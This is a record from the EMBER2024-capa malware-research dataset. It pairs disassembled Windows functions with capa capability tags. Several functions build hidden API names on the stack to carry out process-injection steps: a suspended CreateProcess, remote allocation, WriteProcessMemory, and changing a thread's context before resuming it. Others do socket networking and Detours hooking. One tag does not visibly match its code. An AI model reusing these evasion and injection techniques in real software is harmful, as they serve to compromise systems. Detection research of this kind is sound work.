joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100e2a0d
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov edi, edi
push ebx
push esi
mov esi, ecx
push edi
cmp esi, 0x7ff80000
jbe 0x100e2a2e
lea edi, [esi - 0x7ff80000]
cmp esi, 0x80000000
jb 0x100e2a33
mov ebx, 0xfff80000
jmp 0x100e2a39
mov edi, 0x10000
lea ebx, [esi + 0x7ff80000]
mov edx, dword [0x1013cddc]
mov eax, dword [0x1013cde4]
test edx, edx
jne 0x100e2a54
test eax, eax
je 0x100e2a67
mov edx, eax
mov dword [0x1013cddc], edx
mov ecx, dword [edx + 8]
test ecx, ecx
je 0x100e2a67
cmp ecx, edi
jb 0x100e2a67
cmp ecx, ebx
jbe 0x100e2aeb
mov edx, eax
test eax, eax
jmp 0x100e2a85
test edx, edx
je 0x100e2a80
mov eax, dword [edx + 8]
test eax, eax
je 0x100e2a80
cmp eax, edi
jb 0x100e2a80
cmp eax, ebx
jbe 0x100e2aeb
mov edx, dword [edx + 4]
test edx, edx
mov dword [0x1013cddc], edx
jne 0x100e2a6d
and esi, 0xffff0000
mov ecx, edi
mov edx, esi
call fcn.10051bfb
mov edx, eax
test edx, edx
jne 0x100e2ab1
mov edx, ebx
mov ecx, esi
call fcn.10051bfb
mov edx, eax
test edx, edx
je 0x100e2b10
xor ecx, ecx
mov dword [edx], 0x52727464
mov dword [edx + 8], ecx
mov esi, 0x2a7
mov eax, dword [0x1013cde4]
mov dword [edx + 4], eax
lea eax, [edx + 0xff60]
mov dword [0x1013cddc], edx
mov dword [0x1013cde4], edx
mov dword [eax + 0x40], ecx
mov ecx, eax
sub eax, 0x60
sub esi, 1
jne 0x100e2adb
mov dword [edx + 8], ecx
mov esi, dword [edx + 8]
cmp esi, edi
jb 0x100e2b10
cmp esi, ebx
ja 0x100e2b10
mov ecx, dword [esi + 0x40]
push 0x60
push 0xcc
push esi
mov dword [edx + 8], ecx
call fcn.10063540
add esp, 0xc
mov eax, esi
jmp 0x100e2b12
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x100e2da4
Capabilities:
Parse pe header

Disassembly:
push 0x24
push 0x10128a80
call fcn.10061f30
mov edi, edx
push 0x1c
lea eax, [ebp - 0x34]
push eax
push ecx
call dword [sym.imp.kernel32.dll_VirtualQuery]
and dword [ebp - 4], 0
mov eax, 0x5a4d
mov ecx, dword [ebp - 0x30]
cmp word [ecx], ax
jne 0x100e2e1a
mov edx, dword [ecx + 0x3c]
cmp dword [edx + ecx], 0x4550
jne 0x100e2e1a
mov esi, dword [edx + ecx + 0xd8]
lea eax, [esi + ecx]
cmp edi, eax
jb 0x100e2e1a
mov eax, dword [edx + ecx + 0xdc]
add eax, esi
add eax, ecx
cmp edi, eax
jae 0x100e2e1a
mov dword [ebp - 4], 0xfffffffe
mov al, 1
jmp 0x100e2e23
mov dword [ebp - 4], 0xfffffffe
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100e367a
Capabilities:
Suspend thread

Disassembly:
mov eax, dword [0x1013cde8]
push esi
mov esi, ecx
test eax, eax
jne 0x100e36dc
call dword [sym.imp.kernel32.dll_GetCurrentThread]
cmp esi, eax
jne 0x100e368f
xor eax, eax
pop esi
ret
push edi
push 8
call fcn.10051bfb
pop ecx
push esi
mov edi, eax
call dword [sym.imp.kernel32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x100e36c9
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
push 8
push edi
call fcn.10051bfb
and dword [0x1013cdd8], 0
mov eax, esi
pop ecx
pop ecx
mov dword [0x1013cde8], esi
jmp 0x100e36db
mov eax, dword [0x1013cdd0]
mov dword [edi], eax
xor eax, eax
mov dword [edi + 4], esi
mov dword [0x1013cdd0], edi
pop edi
pop esi
ret
Function at 0x401100
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x5a02e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp eax, dword [edi + 0xc]
jae 0x40112a
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00526910
mov esp, ebp
pop ebp
ret 4
push ebx
mov dword [ebp - 0x1c], eax
fild dword [ebp - 0x1c]
push esi
test eax, eax
jns 0x40113c
fadd qword [0x57c628]
fmul qword [0x57c620]
sub esp, 8
fstp qword [esp]
call fcn.00526cb0
fnstcw word [ebp - 0x16]
add esp, 8
movzx eax, word [ebp - 0x16]
or eax, 0xc00
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x14]
push eax
fldcw word [ebp - 0x1c]
push 0x57b544
mov dword [ebp - 0x14], 0x74726956
mov dword [ebp - 0x10], 0x416c6175
mov dword [ebp - 0xc], 0x636f6c6c
mov byte [ebp - 8], 0
fistp qword [ebp - 0x20]
mov esi, dword [ebp - 0x20]
shl esi, 0xa
fldcw word [ebp - 0x16]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 4
push 0x1000
push esi
push 0
call eax
mov ecx, eax
mov eax, dword [edi + 4]
mov dword [ebp - 0x1c], ecx
test eax, eax
jne 0x4011b9
xor ebx, ebx
jmp 0x4011be
mov ebx, dword [edi + 8]
sub ebx, eax
push ebx
push eax
push ecx
call fcn.00529d80
mov eax, dword [edi + 4]
add esp, 0xc
test eax, eax
je 0x4011de
push 0x8000
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 4]
add ebx, eax
mov dword [edi + 4], eax
mov dword [edi + 0xc], esi
mov eax, esi
pop esi
mov dword [edi + 8], ebx
xor ecx, ebp
pop ebx
call fcn.00526910
mov esp, ebp
pop ebp
ret 4
Function at 0x401200
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x5a02e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x401230
mov eax, dword [esi + 8]
sub eax, ecx
cmp edx, eax
jae 0x401230
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00526910
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x28], edx
fild dword [ebp - 0x28]
push ebx
test edx, edx
jns 0x401241
fadd qword [0x57c628]
fmul qword [0x57c620]
sub esp, 8
fstp qword [esp]
call fcn.00526cb0
fnstcw word [ebp - 0x22]
add esp, 8
movzx eax, word [ebp - 0x22]
or eax, 0xc00
mov dword [ebp - 0x28], eax
fldcw word [ebp - 0x28]
fistp qword [ebp - 0x2c]
mov ebx, dword [ebp - 0x2c]
shl ebx, 0xa
fldcw word [ebp - 0x22]
cmp ebx, dword [esi + 0xc]
jae 0x401289
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00526910
mov esp, ebp
pop ebp
ret
push edi
lea eax, [ebp - 0x20]
push eax
push 0x57b544
mov dword [ebp - 0x20], 0x74726956
mov dword [ebp - 0x1c], 0x416c6175
mov dword [ebp - 0x18], 0x636f6c6c
mov byte [ebp - 0x14], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 4
push 0x1000
push ebx
push 0
call eax
mov edi, eax
mov eax, dword [esi + 4]
test eax, eax
jne 0x4012d3
mov dword [ebp - 0x24], eax
jmp 0x4012db
mov ecx, dword [esi + 8]
sub ecx, eax
mov dword [ebp - 0x24], ecx
mov ecx, dword [ebp - 0x24]
push ecx
push eax
push edi
call fcn.00529d80
add esp, 0xc
lea edx, [ebp - 0x10]
push edx
push 0x57b544
mov dword [ebp - 0x10], 0x74726956
mov dword [ebp - 0xc], 0x466c6175
mov dword [ebp - 8], 0x656572
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, dword [esi + 4]
push 0x8000
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 0x24]
add ecx, edi
mov dword [esi + 8], ecx
mov ecx, dword [ebp - 4]
mov dword [esi + 4], edi
pop edi
mov dword [esi + 0xc], ebx
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.00526910
mov esp, ebp
pop ebp
ret
Function at 0x402af0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmp dword [eax + 0x70], 0
mov dword [eax + 0x4c], ecx
jne 0x402b03
mov dword [eax + 0x70], 1
mov dword [eax + 0x54], ecx
mov edx, ecx
sub edx, dword [eax + 0x54]
cmp edx, 0x2710
jge 0x402b18
cmp edx, 0xffffd8f0
jge 0x402b1d
mov dword [eax + 0x54], ecx
jmp 0x402b21
test edx, edx
js 0x402b3c
mov edx, dword [eax + 0x50]
add dword [eax + 0x54], edx
push esi
push edi
mov edi, ecx
sub edi, dword [eax + 0x54]
pop edi
pop esi
js 0x402b37
add edx, ecx
mov dword [eax + 0x54], edx
jmp fcn.00402500
ret

Function at 0x402c90
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [0x5a02e4]
xor eax, esp
mov dword [esp + 0x198], eax
push edi
xor edi, edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
mov dword [esi], vtable.DeHJfsvDa.0
mov dword [esi + 0x38], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov eax, vtable.CBuffer.0
mov dword [esi + 0x2c], eax
mov dword [esi + 0x3c], eax
mov dword [esi + 0x48], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x4c], eax
lea eax, [esp + 8]
push eax
push 0x202
mov dword [esi + 0x58], edi
mov dword [esi + 0x50], edi
mov dword [esi + 0x54], edi
call dword [sym.imp.WS2_32.dll_WSAStartup]
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push edi
lea ecx, [esi + 0x18]
push ecx
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [esp + 0x19c]
mov dword [esi + 0x5c], edi
mov dword [esi + 0x60], edi
mov dword [esi + 0x14], edi
pop edi
xor ecx, esp
mov dword [esi + 0x64], 0xffffffff
mov eax, esi
call fcn.00526910
mov esp, ebp
pop ebp
ret
Function at 0x4032d0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov esi, eax
mov dword [ebp - 4], 0
cmp ebx, 0x40000
jl 0x40332d
jmp 0x4032f0
xor edi, edi
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x64]
push 0
push 0x40000
push esi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x403311
inc edi
cmp edi, 0xf
jl 0x4032f2
cmp edi, 0xf
je 0x40335e
add dword [ebp - 4], eax
sub ebx, 0x40000
add esi, 0x40000
cmp ebx, 0x40000
jge 0x4032f0
test ebx, ebx
jle 0x403356
xor edi, edi
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x64]
push 0
push ebx
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x40334e
inc edi
cmp edi, 0xf
jl 0x403333
cmp edi, 0xf
je 0x40335e
add dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
je 0x403361
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x403580
Capabilities:
Create thread
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, eax
mov eax, dword [esi + 0x198]
xor ebx, ebx
cmp eax, ebx
jne 0x4035a2
mov dword [esi + 0x1b8], 0x598
jmp 0x4035b9
cmp eax, 0x598
jbe 0x4035b3
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
mov dword [esi + 0x1b8], eax
push edi
mov dword [esi + 0x64], ebx
call fcn.004036e0
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov eax, 1
push 0x5aa924
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], 5
mov dword [esi + 0x38], ebx
mov dword [esi + 0x3c], eax
mov dword [ebp - 8], ebx
call edi
mov dword [esi + 0x48], eax
cmp eax, ebx
jne 0x4035f8
push 0x5aa924
call edi
mov dword [esi + 0x48], eax
mov ecx, dword [esi + 0x40]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea eax, [ebp - 4]
push eax
push 0x1001
push 0xffff
mov ebx, 0x40000
push ecx
mov dword [ebp - 4], ebx
call edi
mov eax, dword [esi + 0x40]
push 4
lea edx, [ebp - 4]
push edx
push 0x1002
push 0xffff
push eax
mov dword [ebp - 4], ebx
call edi
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push ecx
push edx
call fcn.00403770
test eax, eax
je 0x40368d
lea eax, [esi + 0x58]
push eax
push 0
push esi
push 0x4038f0
push 0
push 0
call fcn.0052729b
add esp, 0x18
mov dword [esi + 0x54], eax
test eax, eax
je 0x40367f
mov ecx, dword [esi + 0x2c]
push ecx
mov edi, 1
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov dword [esi + 0x5c], 8
push 0x65f
jmp 0x40369b
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [esi + 0x5c], 0xb
push eax
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
call ebx
xor eax, eax
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], 5
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], 1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov eax, esi
call fcn.00403f90
push edi
call ebx
mov edi, dword [ebp - 8]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x403770
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5a02e4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
push 0x11
push 2
xor edi, edi
push 2
mov dword [ebp - 0x18], edi
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x40], eax
cmp eax, 0xffffffff
jne 0x4037b2
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00526910
mov esp, ebp
pop ebp
ret 8
push edi
push edi
lea ecx, [ebp - 0x24]
push ecx
push edi
push edi
push 4
lea edx, [ebp - 0x1c]
push edx
push 0x9800000c
push eax
mov dword [ebp - 0x1c], edi
call dword [sym.imp.WS2_32.dll_WSAIoctl]
mov ecx, dword [esi + 0x40]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea eax, [ebp - 0x1c]
push eax
push 0xfffffffffffffffb
push 0xffff
push ecx
call edi
mov eax, dword [esi + 0x40]
push 4
lea edx, [ebp - 0x1c]
push edx
push 4
push 0xffff
push eax
call edi
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
push 0
push 0
push 0
push 0
push ebx
mov dword [esi + 0x44], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x20], eax
inc eax
push eax
call fcn.00408df3
mov ecx, dword [ebp - 0x20]
add esp, 4
push 0
push 0
push ecx
mov edi, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edx, dword [ebp - 0x20]
push edi
mov byte [edi + edx], 0
call dword [sym.imp.WS2_32.dll_gethostbyname]
push edi
mov ebx, eax
call fcn.00408de8
add esp, 4
test ebx, ebx
je 0x40379e
mov ecx, dword [ebp + 0xc]
mov eax, 2
push ecx
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov edx, dword [ebx + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov edx, dword [esi + 0x44]
mov eax, dword [esi + 0x40]
push 0x30
push edx
push eax
mov dword [ebp - 0x10], ecx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x4038d7
mov edx, dword [esi + 0x40]
push 0x10
lea ecx, [ebp - 0x14]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x4038d0
cmp eax, 0xffffffff
jne 0x4038c7
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x4038d0
mov dword [ebp - 0x18], 0
jmp 0x4038d7
mov dword [ebp - 0x18], 1
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
pop edi
xor ecx, ebp
pop ebx
call fcn.00526910
mov esp, ebp
pop ebp
ret 8
Function at 0x403c50
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [eax + 0x14]
push edi
test eax, eax
jne 0x403c73
mov ecx, dword [esi + 0x44]
mov edx, dword [esi + 0x40]
push 0x23
push ecx
push edx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x403c8c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, 1
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], 2
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], edi
xor eax, eax
pop edi
ret
lea eax, [esi + 0x19c]
push eax
lea ecx, [esi + 0x1d8]
mov edi, 1
push ecx
mov dword [esi + 0x60], edi
mov ecx, esi
mov eax, esi
mov dword [esi + 0x64], edi
call fcn.00404b10
mov edx, dword [esi + 0x40]
push 0
push 0
push 0
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x403cd9
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x403cd9
test eax, eax
je 0x403cd9
call fcn.00408f06
mov eax, edi
pop edi
ret

Function at 0x403ce0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
lea esp, [esp]
mov eax, dword [ebx + 0x70]
mov ecx, dword [ebx + 0x40]
push 0
push 0x598
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test edi, edi
jle 0x403da6
cmp edi, 0x10
jne 0x403d38
mov edx, dword [ebx + 0x70]
mov ecx, eax
mov eax, 0x57b568
sub edx, eax
cmp ecx, 4
jb 0x403dde
mov esi, dword [edx + eax]
cmp esi, dword [eax]
jne 0x403d38
sub ecx, 4
add eax, 4
jmp 0x403d20
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebx + 0x1c0]
mov edx, dword [ebx + 0x1c8]
mov eax, dword [ebx + 0x70]
lea esi, [ebx + 0x1d8]
cmp edi, 0x18
jl 0x403d66
push ecx
push edi
push eax
mov edi, edx
call fcn.00405010
jmp 0x403d70
cmp edi, 0xc
jne 0x403dd4
call fcn.00404ec0
cmp eax, 2
jne 0x403cf0
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x403d88
mov eax, 0x4c7
mov ecx, 1
mov dword [ebx + 0x3c], ecx
mov dword [ebx + 0x34], 4
pop edi
mov dword [ebx + 0x30], ecx
mov dword [ebx + 0x38], eax
pop esi
xor eax, eax
pop ebx
pop ebp
ret 4
cmp edi, 0xffffffff
jne 0x403cf0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x403dfb
cmp eax, 0x2744
je 0x403cf0
cmp eax, 0x2746
je 0x403cf0
jmp 0x403d88
push 0xd
call dword [sym.imp.WS2_32.dll_WSASetLastError]
jmp 0x403d79
xor eax, eax
pop edi
mov dword [ebx + 0x30], 1
mov dword [ebx + 0x34], 5
mov dword [ebx + 0x3c], eax
pop esi
mov dword [ebx + 0x38], eax
pop ebx
pop ebp
ret 4
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret 4
Function at 0x403f90
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
mov eax, dword [esi + 0x64]
cmp eax, 3
je 0x404078
lea edi, [esi + 0x15c]
push edi
call fcn.00402bc0
mov ecx, dword [esi + 0x64]
cmp ecx, 1
je 0x403fc8
mov edx, dword [esi + 0x64]
test edx, edx
jne 0x404072
mov dword [esi + 0x64], 2
mov dword [edi], 0
mov eax, ebx
call fcn.00404190
mov eax, dword [esi + 0x60]
test eax, eax
je 0x404003
cmp dword [esi + 0x3c], 0
je 0x403ffc
mov ecx, dword [esi + 0x40]
push 0
push 0x10
push 0x57b568
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [esi + 0x60], 0
cmp dword [esi + 0x30], 0
je 0x40402b
mov edx, dword [esi + 0x48]
push edx
call fcn.00408680
mov eax, dword [esi + 4]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
lea ecx, [esi + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x44]
test eax, eax
je 0x404040
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 0x44], 0
mov eax, dword [esi + 0x40]
cmp eax, 0xffffffff
je 0x404062
push 1
push eax
call dword [sym.imp.WS2_32.dll_shutdown]
mov edx, dword [esi + 0x40]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 0x40], 0xffffffff
mov edi, esi
call fcn.00404090
pop edi
pop esi
mov eax, 1
pop ebx
ret
mov dword [edi], 0
push 0x139f
mov dword [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x404450
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push str.kernel32.dll
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x57b628
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call dword [sym.imp.WINMM.dll_timeGetTime]
push 0
lea edi, [esi + 0x18]
push edi
mov dword [esi + 0x14], eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
xor eax, eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov word [esi + 0x28], ax
mov edx, dword [esi + 0x64]
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x18]
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], ecx
mov word [esi + 0x28], 0xca
cmp edx, 3
je 0x4044b2
mov eax, esi
call fcn.00403f90
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push eax
push ecx
mov eax, esi
call fcn.00403580
mov ebx, dword [ebp + 0xc]
push 0x1770
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4044f2
cmp eax, 0x102
je 0x4044e0
cmp eax, 0xffffffff
jne 0x4044e7
push ebx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
push 1
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push ebx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea edx, [ebp - 4]
push edx
push 0
push esi
push 0x404530
push 0
push 0
call fcn.0052729b
add esp, 0x18
pop edi
mov dword [esi + 0x268], eax
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x405a40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x5a02e4]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x40
lea eax, [ebp - 0x54]
push 0
push eax
mov dword [ebp - 0x58], 0x44
call fcn.00528340
add esp, 0xc
lea edx, [ebp - 0x14]
push edx
xor ecx, ecx
mov al, 0x65
push 0x57b544
mov dword [ebp - 0x2c], 1
mov word [ebp - 0x28], cx
mov dword [ebp - 0x14], 0x61657243
mov dword [ebp - 0x10], 0x72506574
mov word [ebp - 0xc], 0x636f
mov byte [ebp - 0xa], al
mov dword [ebp - 9], 0x417373
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
lea ecx, [ebp - 0x58]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push esi
call eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00526910
mov esp, ebp
pop ebp
ret

Function at 0x405ad0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x5a02e4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
push 0x57b544
mov dword [ebp - 0x14], 0x74726956
mov dword [ebp - 0x10], 0x416c6175
mov dword [ebp - 0xc], 0x636f6c6c
mov word [ebp - 8], 0x7845
mov byte [ebp - 6], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x3000
push edi
push 0
push esi
call eax
test eax, eax
jne 0x405b39
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00526910
mov esp, ebp
pop ebp
ret
push 0
push edi
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00526910
mov esp, ebp
pop ebp
ret
Function at 0x405b60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
mov eax, dword [0x5a02e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push edi
push 0x2c8
lea ecx, [ebp - 0x304]
push 0
push ecx
mov dword [ebp - 0x30c], eax
call fcn.00528340
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
add esp, 0xc
lea edx, [ebp - 0x28]
push edx
push 0x57b544
mov dword [ebp - 0x308], 0x10007
mov bl, 0x65
mov dword [ebp - 0x28], 0x54746547
mov dword [ebp - 0x24], 0x61657268
mov dword [ebp - 0x20], 0x6e6f4364
mov dword [ebp - 0x1c], 0x74786574
mov byte [ebp - 0x18], 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esi + 4]
lea ecx, [ebp - 0x308]
push ecx
push edx
call eax
test eax, eax
jne 0x405bfb
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00526910
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x30c]
lea ecx, [ebp - 0x3c]
push ecx
push 0x57b544
mov dword [ebp - 0x250], eax
mov byte [ebp - 0x3c], 0x53
mov byte [ebp - 0x3b], bl
mov dword [ebp - 0x3a], 0x72685474
mov byte [ebp - 0x36], bl
mov dword [ebp - 0x35], 0x6f436461
mov word [ebp - 0x31], 0x746e
mov byte [ebp - 0x2f], bl
mov word [ebp - 0x2e], 0x7478
mov byte [ebp - 0x2c], 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esi + 4]
lea edx, [ebp - 0x308]
push edx
push ecx
call eax
test eax, eax
je 0x405be9
lea edx, [ebp - 0x14]
push edx
push 0x57b544
mov byte [ebp - 0x14], 0x52
mov byte [ebp - 0x13], bl
mov word [ebp - 0x12], 0x7573
mov byte [ebp - 0x10], 0x6d
mov byte [ebp - 0xf], bl
mov word [ebp - 0xe], 0x6854
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], bl
mov word [ebp - 0xa], 0x6461
mov byte [ebp - 8], 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esi + 4]
push ecx
call eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.00526910
mov esp, ebp
pop ebp
ret